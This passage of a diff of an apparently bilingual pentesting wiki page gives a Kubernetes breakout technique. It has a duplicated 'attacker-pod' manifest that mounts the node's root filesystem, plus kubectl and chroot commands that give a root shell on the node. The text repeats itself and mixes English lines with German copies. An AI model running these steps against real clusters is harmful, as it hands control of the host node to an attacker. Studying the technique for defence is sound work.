containers:
|
||||
- image: ubuntu
|
||||
imagePullPolicy: Always
|
||||
name: attacker-pod
|
||||
command: ["/bin/sh", "-c", "sleep infinity"]
|
||||
volumeMounts:
|
||||
- name: host-fs
|
||||
mountPath: /root
|
||||
restartPolicy: Never
|
||||
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
|
||||
#nodeName: master
|
||||
#nodeSelector:
|
||||
# kubernetes.io/hostname: master
|
||||
# or using
|
||||
# node-role.kubernetes.io/master: ""
|
||||
volumes:
|
||||
- name: host-fs
|
||||
hostPath:
|
||||
path: /
|
||||
containers:
|
||||
- image: ubuntu
|
||||
imagePullPolicy: Always
|
||||
name: attacker-pod
|
||||
command: ["/bin/sh", "-c", "sleep infinity"]
|
||||
volumeMounts:
|
||||
- name: host-fs
|
||||
mountPath: /root
|
||||
restartPolicy: Never
|
||||
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
|
||||
#nodeName: master
|
||||
#nodeSelector:
|
||||
# kubernetes.io/hostname: master
|
||||
# or using
|
||||
# node-role.kubernetes.io/master: ""
|
||||
```
|
||||
|
||||
[original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba)
|
||||
|
||||
After that you create the pod
|
||||
|
||||
Danach erstellen Sie das Pod
|
||||
```bash
|
||||
kubectl apply -f attacker.yaml [-n <namespace>]
|
||||
```
|
||||
|
||||
Now you can switch to the created pod as follows
|
||||
|
||||
Jetzt können Sie zum erstellten Pod wie folgt wechseln
|
||||
```bash
|
||||
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
|
||||
```
|
||||
|
||||
And finally you chroot into the node's system
|
||||
|
||||
Und schließlich chrootest du in das System des Knotens.
|
||||
```bash
|
||||
chroot /root /bin/bash
|
||||
```
|
||||
|
||||
Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
|
||||
|
||||
## References
|
||||
@@ -610,7 +524,3 @@ https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-metho
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user